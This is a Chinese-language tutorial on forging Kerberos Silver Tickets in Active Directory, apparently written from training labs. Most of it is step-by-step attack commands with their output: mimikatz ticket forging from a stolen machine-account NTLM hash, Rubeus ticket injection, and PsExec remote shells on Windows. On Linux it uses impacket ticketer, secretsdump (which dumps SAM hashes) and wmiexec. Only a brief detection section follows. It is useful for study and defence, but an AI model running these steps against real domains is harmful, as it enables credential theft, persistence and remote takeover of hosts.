白银票据
每台机器账户都有一个 NTLM 哈希;这是该计算机的哈希,以 SYSTEM$ 账户表示。它是域与工作站之间的预共享密钥(PSK),用于签署 Kerberos 票据授予服务(TGS)票据。
该票据的权限低于黄金票据,因为它只能访问那一台机器。然而,在创建黄金票据时,攻击者需要与域控制器交互,让它生成 TGS 票据后才能访问任何机器。这会生成一条唯一的审计记录,虽然不会显得恶意,但可以应用启发式方法来判断其是否异常。
在伪造 TGS 票据时,攻击者可以绕过域控制器,直接访问目标,从而最大限度减少留下的日志数量。
1. 理论
当用户请求 TGS 票据时,会将他们的 TGT 发送到域控制器。域控制器会查找哪个账户公开了用户请求的 SPN。然后它会将用户的信息( PAC )复制到 TGS 票据中,并使用与该 SPN 关联的服务账户的密钥对其进行加密。
因为用户不知道服务账户的密钥,也就无法在 TGS 票据中修改自己的信息。那如果获取到了一个服务账户的密钥,会发生什么呢?
攻击者就可以使用服务账户的密钥对任意伪造的PAC进行加密伪造服务票据。这个被伪造的TGS票据就是白银票据,它可以让用户以任何身份访问对应的服务。
银票是一种伪造的 TGS 票据,因此它不需要与域控制器通信。所有相关的事件日志都只会在目标主机上生成。因此,银票比金票更加隐蔽。
2. 利用
2.1. 条件
需要一下条件:
- 服务账户或者机器账户的 NTLM哈希或者密钥
- 域SID、目标主机、服务名称(SPN)、任意的用户名和组信息
2.2. on windows
2.2.1. 获取域SID
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID
S-1-5-21-2974783224-3764228556-2640795941
2.2.2. 伪造银票
假设我们攻陷了 SQL01$ 账户。获取到了它的 NTLM 哈希。想要构造一个 TGS 票据来访问 SQL01 文件系统。为此我们需要一个 CIFS/SQL01 TGS 票据。
PS C:\Tools> mimikatz.exe
<SNIP>
mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ptt
User : Administrator
Domain : inlanefreight.local (INLANEFREIGHT)
SID : S-1-5-21-2974783224-3764228556-2640795941
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: ff955e93a130f5bb1a6565f32b7dc127 - rc4_hmac_nt
Service : cifs
Target : sql01.inlanefreight.local
Lifetime : 8/17/2020 3:22:27 PM ; 8/15/2030 3:22:27 PM ; 8/15/2030 3:22:27 PM
-> Ticket : ` Pass The Ticket `
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ inlanefreight.local' successfully submitted for current session
验证一下
PS C:\Tools> klist
Current LogonId is 0:0x3f22d82
Cached Tickets: (1)
#0> Client: Administrator @ inlanefreight.local
Server: cifs/sql01.inlanefreight.local @ inlanefreight.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 8/17/2020 15:22:27 (local)
End Time: 8/15/2030 15:22:27 (local)
Renew Time: 8/15/2030 15:22:27 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called:
2.3. 使用 Sacrifical 进程
我们也可以创建一个 Sacrificial Process 。通过 CIFS 服务执行 PSExec 。
2.3.1. 伪造白银票据
首先创建一个票据并将其保存在 sql01.kirbi
C:\Tools> mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi
User : Administrator
Domain : inlanefreight.local (INLANEFREIGHT)
SID : S-1-5-21-2974783224-3764228556-2640795941
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: ff955e93a130f5bb1a6565f32b7dc127 - rc4_hmac_nt
Service : cifs
Target : sql01.inlanefreight.local
Lifetime : 4/4/2023 3:10:29 PM ; 4/1/2033 3:10:29 PM ; 4/1/2033 3:10:29 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ inlanefreight.local' successfully submitted for current session
mimikatz(commandline) # exit
Bye!
2.3.2. 创建 Sacrificial Process
C:\Tools> Rubeus.exe createnetonly /program:cmd.exe /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Create Process (/netonly)
[*] Using random username and password.
[*] Showing process : True
[*] Username : 0HK7610O
[*] Domain : 540GDGRA
[*] Password : ZM83YNND
[+] Process : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 2832
[+] LUID : 0x186a73
这个 Rubeus 操作 createnetonly 以及标志 /show ,会为我们指定的 /program: 打开程序,在这里是 cmd.exe 。那个新窗口就是我们的 sacrificial process ,因为它没有当前用户的凭据。我们将使用如下方式导入我们用 mimikatz 伪造的 sql01.kirbi 票据:
2.3.3. 导入票据
C:\Tools> Rubeus.exe ptt /ticket:sql01.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Import Ticket
[+] Ticket successfully imported!
2.3.4. PSExec
C:\Tools> PSExec.exe -accepteula \\sql01.inlanefreight.local cmd
PsExec v2.42 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
SQL01
2.4. On Linux
还是使用impacket-ticketer来制作一个Silver Ticket
2.4.1. 获取域SID
echo -n 'Pegasus60' | iconv -f UTF-8 -t UTF-16LE | openssl md4 #明文密码变NT hash
# 查找域的 SID
nxc ldap 10.129.161.177 -u 'sqlsvc' -p 'Pegasus60' -k --get-sid #获取域SID
┌──(root㉿kali)-[~/tmp]
└─# impacket-lookupsid -hashes :38fe728ae616f0fde13715e7c320685f 0day.org/administrator@192.168.3.142
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 192.168.3.142
[*] StringBinding ncacn_np:192.168.3.142[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1812960810-2335050734-3517558805
498: 0DAY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: 0DAY\Administrator (SidTypeUser)
501: 0DAY\Guest (SidTypeUser)
502: 0DAY\krbtgt (SidTypeUser)
512: 0DAY\Domain Admins (SidTypeGroup)
2.4.2. 伪造白银票据
# 使用 NT hash 生成白银票据(Silver Ticket)
┌──(root㉿kali)-[~/tmp]
└─# impacket-ticketer -nthash ed8136d84965a7958c2e4e0d84bf34b7 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -domain 0day.org -dc-ip 192.168.3.144 -spn cifs/OWA2010SP3.0day.org silver
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for 0day.org/silver
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in silver.ccache
2.4.3. 导入票据使用
#导入票据
┌──(root㉿kali)-[~/tmp]
└─# export KRB5CCNAME=silver.ccache
#利用票据进行dcsync
┌──(root㉿kali)-[~/tmp]
└─# impacket-secretsdump -k OWA2010SP3.0day.org
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xe2daa1c5dca47d980c9c9a95b0409760
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#利用票据进行PTH
┌──(root㉿kali)-[~/tmp]
└─# impacket-wmiexec -k OWA2010SP3.0day.org -codec gbk
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
0day.org\silver
3. 检测
3.1. 隐蔽性 持久性
与黄金票据相比,白银票据的更难检测,因为它们的范围仅限于针对特定主机上的某个服务。然而,它们可以用来保持更隐蔽的行踪。当用于访问计算机托管的服务时,白银票据可以用于持久化。由于计算机账户密码轮换可能被禁用,且 AD 不会阻止计算机账户访问资源,这种类型的白银票据很可能会长期有效。
3.2. 检测
使用 mimikatz 伪造的白银票据可以通过几种方式被检测到:
- 账户 DOMAIN 字段为空。
- 账户 DOMAIN 字段包含的是 DOMAIN FQDN,而不是仅仅的域名。
4. 其他
相比白银票据(Silver Ticket),一个更好且更隐蔽的替代方法是滥用 S4U2self。这种方式可以利用 Kerberos 委派功能,而不是伪造票据,来模拟目标机器上具有本地管理员权限的域用户。
- Silver Ticket(白银票据)依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
- Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。
- 银票的特点是不需要与 KDC 进行交互,但代价是伪造的时候需要服务的 NTLM hash。
┌─────────────────────────────────────────────────────┐
│ 哈希类型 可用的 SPN │
├─────────────────────────────────────────────────────┤
│ 服务账户哈希 → 只能用该服务的 SPN │
│ 机器账户哈希 → 可以用多种 SPN(包括 CIFS) │
│ krbtgt 哈希 → 可以用任意 SPN(Golden Ticket) │
└─────────────────────────────────────────────────────┘